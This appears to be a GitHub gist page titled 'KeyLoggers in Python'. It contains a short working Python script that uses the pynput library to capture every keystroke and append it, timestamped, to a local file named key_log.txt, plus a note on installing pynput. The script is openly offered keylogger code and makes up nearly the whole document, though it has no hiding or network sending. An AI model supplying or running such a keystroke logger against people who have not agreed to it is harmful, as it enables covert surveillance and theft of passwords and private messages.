Created
May 4, 2021 07:37
-
-
Save MohapatraShibu/ec47b07e826e36e45c5202d2f8591099 to your computer and use it in GitHub Desktop.
KeyLoggers in Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# pip install pynput | |
from pynput.keyboard import Key, Listener | |
import logging | |
log_dir="" | |
logging.basicConfig(filename=(log_dir+"key_log.txt"),level=logging.DEBUG, | |
format='%(asctime)s:%(message)s:') | |
def on_press(key): | |
logging.info(str(key)) | |
with Listener(on_press=on_press) as listener: | |
listener.join() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
First, install pynput in CMD using the command below:
pip install pynput